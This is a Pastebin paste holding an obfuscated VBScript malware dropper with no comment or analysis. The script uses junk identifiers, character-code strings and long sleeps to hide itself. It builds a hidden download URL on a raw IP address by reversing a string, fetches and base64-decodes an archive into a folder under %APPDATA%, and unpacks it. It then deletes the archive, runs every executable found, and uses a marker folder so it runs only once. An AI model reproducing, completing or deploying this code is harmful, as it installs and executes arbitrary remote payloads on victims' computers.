SHARE
TWEET

Untitled

a guest Feb 21st, 2020 79 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. Option Explicit
  2. DIM DZIP,N_VR,STPASTALOKA,PSTLM,NMEXE,CLK,SUVVZaacdffhikkmn,OBJhiiklnnpqsuvvxzACCD,objFeSO
  3. DZIP     = StrReverse("osi.XOBNIAPSEUAM/4591:081.391.74.25//:ptth")
  4. Set OBJhiiklnnpqsuvvxzACCD = CreateObject( "WScript.Shell" )    
  5. SUVVZaacdffhikkmn =OBJhiiklnnpqsuvvxzACCD.ExpandEnvironmentStrings(UCase(Chr(37)) & UCase(Chr(65)) & UCase(Chr(80)) & UCase(Chr(80)) & UCase(Chr(68)) & UCase(Chr(65)) & UCase(Chr(84)) & UCase(Chr(65)) & UCase(Chr(37)))
  6. N_VR = "A99449C3092CE70964CE715CF7BB75B.zip"
  7. WScript.Sleep 100
  8. PSTLM = SUVVZaacdffhikkmn + "\nfdound"
  9. wwyyzBDDEGGIJLLNOOQRTTVWWYaabdeegiijlnnoqqstv
  10. STPASTALOKA = PSTLM
  11. WScript.Sleep 100
  12. TEMMORRE
  13. WScript.Sleep 100
  14. DVRTUWXZhjkmmopprttLMMOQQRTVVWYYZb
  15. WScript.Sleep 32303
  16. XCPQQSTVVXYaacddfhiikllnppqs
  17. WScript.Sleep 32210
  18. DCacdfgikklnppqsuuvxyyACDDFHIIKLNN
  19. WScript.Sleep 2424
  20. WScript.Sleep 124
  21. WScript.Sleep 124
  22. DCWYZbceeghjllmopprtuuwy
  23. Function DCWYZbceeghjllmopprtuuwy()
  24. Dim ClqtJJKKNNPRRSUUWXZZacLM,jrtnppqsuuvxyyACCw,jxtgiijnnoqsstvvwy,ColtuwwyzBDEEGHHJLLMO
  25. Set ClqtJJKKNNPRRSUUWXZZacLM = WScript.CreateObject( "WScript.Shell" )
  26. WScript.Sleep 70
  27. Set jrtnppqsuuvxyyACCw = CreateObject( "Scripting.FileSystemObject" )
  28. WScript.Sleep 50
  29. WScript.Sleep 50
  30. Set jxtgiijnnoqsstvvwy = jrtnppqsuuvxyyACCw.GetFolder(PSTLM)
  31. WScript.Sleep 40
  32. WScript.Sleep 50
  33. Set ColtuwwyzBDEEGHHJLLMO = jxtgiijnnoqsstvvwy.Files
  34. WScript.Sleep 60
  35. WScript.Sleep 50
  36. For Each ColtuwwyzBDEEGHHJLLMO in ColtuwwyzBDEEGHHJLLMO
  37. If UCase(jrtnppqsuuvxyyACCw.GetExtensionName(ColtuwwyzBDEEGHHJLLMO.name)) = UCase(Chr(69)) & UCase(Chr(88)) &UCase(Chr(69)) Then
  38. NMEXE = ColtuwwyzBDEEGHHJLLMO.Name
  39. ClqtJJKKNNPRRSUUWXZZacLM.Exec(PSTLM & UCase(Chr(92)) & ColtuwwyzBDEEGHHJLLMO.Name)
  40. WScript.Sleep 44
  41. End If
  42. Next
  43. End Function
  44. Function GTEK( myPassPhrase )
  45.     Dim i, arrCode( )
  46.     ReDim arrCode( Len( myPassPhrase ) - 1 )
  47.     For i = 0 To UBound( arrCode )
  48.         arrCode(i) = Asc( Mid( myPassPhrase, i + 1, 1 ) )
  49.     Next
  50.     GTEK = arrCode
  51. End Function
  52. Function XCPQQSTVVXYaacddfhiikllnppqs()
  53. DIM ClqtJJKKNNPRRSUUWXZZac,FilesInZip
  54. set ClqtJJKKNNPRRSUUWXZZac = CreateObject("Shell.Application")
  55. set FilesInZip=ClqtJJKKNNPRRSUUWXZZac.NameSpace(PSTLM & UCase(Chr(92)) & N_VR).items
  56. ClqtJJKKNNPRRSUUWXZZac.NameSpace(PSTLM & UCase(Chr(92))).CopyHere(FilesInZip), UCase(Chr(52))
  57. Set ClqtJJKKNNPRRSUUWXZZac = Nothing
  58. End Function
  59. Function DCacdfgikklnppqsuuvxyyACDDFHIIKLNN()
  60. DIM jrtnppqsuuvxyyACCxsd
  61. Set jrtnppqsuuvxyyACCxsd = Createobject("Scripting.FileSystemObject")
  62. jrtnppqsuuvxyyACCxsd.DeleteFile PSTLM & UCase(Chr(92)) & N_VR
  63. End Function
  64. Function tOikkmnprssuvvx( myFileIn, myFileOut, arrCode )
  65.     Dim i, jrtnppqsuuvxyyACC, ColtuwwyzBDEEGHHJLLMOIn, ColtuwwyzBDEEGHHJLLMOOut, objStreamIn
  66.     Const ForAppending       =  8
  67.     Const ForReading         =  1
  68.     Const ForWriting         =  2
  69.     Const TristateFalse      =  0
  70.     Const TristateMixed      = -2
  71.     Const TristateTrue       = -1
  72.     Const TristateUseDefault = -2
  73.     On Error Resume Next
  74.     If Not IsArray( arrCode ) Then
  75.         arrCode = Array( arrCode )
  76.     End If
  77.     For i = 0 To UBound( arrCode )
  78.         If Not IsNumeric( arrCode(i) ) Then
  79.  
  80.             Encode = 1032
  81.             Exit Function
  82.         End If
  83.         If arrCode(i) < 0 Or arrCode(i) > 255 Then
  84.  
  85.             Encode = 1031
  86.             Exit Function
  87.         End If
  88.     Next
  89.     Set jrtnppqsuuvxyyACC = CreateObject( "Scripting.FileSystemObject" )
  90.     If jrtnppqsuuvxyyACC.FileExists( myFileIn ) Then
  91.         Set ColtuwwyzBDEEGHHJLLMOIn   = jrtnppqsuuvxyyACC.GetFile( myFileIn )
  92.         Set objStreamIn = ColtuwwyzBDEEGHHJLLMOIn.OpenAsTextStream( ForReading, TriStateFalse )
  93.     Else        
  94.         Encode = 53      
  95.         objStreamIn.Close
  96.         Set objStreamIn = Nothing
  97.         Set ColtuwwyzBDEEGHHJLLMOIn   = Nothing
  98.         Set jrtnppqsuuvxyyACC      = Nothing
  99.        
  100.         Exit Function
  101.     End If  
  102.     If jrtnppqsuuvxyyACC.FileExists( myFileOut ) Then
  103.         ' Error 58: File already exists
  104.         Encode = 58
  105.         ' Close input file and release objects
  106.         objStreamIn.Close
  107.         Set objStreamIn = Nothing
  108.         Set ColtuwwyzBDEEGHHJLLMOIn   = Nothing
  109.         Set jrtnppqsuuvxyyACC      = Nothing
  110.         ' Abort
  111.         Exit Function
  112.     Else
  113.         Set ColtuwwyzBDEEGHHJLLMOOut = jrtnppqsuuvxyyACC.CreateTextFile( myFileOut, True, False )
  114.     End If    
  115.     i = 0
  116.     Do Until objStreamIn.AtEndOfStream
  117.         i = ( i + 1 ) \ ( UBound( arrCode ) + 1 )
  118.         ColtuwwyzBDEEGHHJLLMOOut.Write Chr( Asc( objStreamIn.Read( 1 ) ) Xor arrCode(i) )
  119.     Loop  
  120.     ColtuwwyzBDEEGHHJLLMOOut.Close
  121.     objStreamIn.Close
  122.     Set objStreamIn = Nothing
  123.     Set ColtuwwyzBDEEGHHJLLMOIn   = Nothing
  124.     Set ColtuwwyzBDEEGHHJLLMOOut  = Nothing
  125.     Set jrtnppqsuuvxyyACC      = Nothing    
  126.     Encode = Err.Number
  127.     Err.Clear
  128.     On Error Goto 0
  129. End Function
  130. Function DVRTUWXZhjkmmopprttLMMOQQRTVVWYYZb()
  131. DIM req
  132. Set req = CreateObject("Msxml2.XMLHttp.6.0")
  133. req.open "GET", DZIP, False
  134. req.send
  135. If req.Status = 200 Then
  136.  Dim oNode, BinaryStream
  137. Const adTypeBinary = 1
  138. Const adSaveCreateOverWrite = 2
  139. Set oNode = CreateObject("Msxml2.DOMDocument.3.0").CreateElement("base64")
  140. oNode.dataType = "bin.base64"
  141. oNode.text = req.responseText
  142. Set BinaryStream = CreateObject("ADODB.Stream")
  143. BinaryStream.Type = adTypeBinary
  144. BinaryStream.Open
  145. BinaryStream.Write oNode.nodeTypedValue
  146. BinaryStream.SaveToFile PSTLM & UCase(Chr(92)) & N_VR, adSaveCreateOverWrite
  147. End if
  148. End Function
  149. Function wwyyzBDDEGGIJLLNOOQRTTVWWYaabdeegiijlnnoqqstv()
  150. dim mqXFFRJUWm
  151. Set mqXFFRJUWm = CreateObject("Scripting.FileSystemObject")
  152. If (mqXFFRJUWm.FolderExists((PSTLM) )) Then
  153. WScript.Quit()
  154. End If                      
  155. End Function
  156. Function TEMMORRE()
  157. SET objFeSO = CREATEOBJECT("Scripting.FileSystemObject")
  158. IF objFeSO.FolderExists(SUVVZaacdffhikkmn + "\OLEDAT") = TRUE THEN WScript.Quit() END IF
  159. IF objFeSO.FolderExists(STPASTALOKA) = FALSE THEN
  160. objFeSO.CreateFolder STPASTALOKA
  161. objFeSO.CreateFolder OBJhiiklnnpqsuvvxzACCD.ExpandEnvironmentStrings(UCase(Chr(37)) & UCase(Chr(65)) & UCase(Chr(80)) & UCase(Chr(80)) & UCase(Chr(68)) & UCase(Chr(65)) & UCase(Chr(84)) & UCase(Chr(65)) & UCase(Chr(37))) + "\OLEDAT"
  162. END IF
  163. End Function
RAW Paste Data
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy. OK, I Understand
Top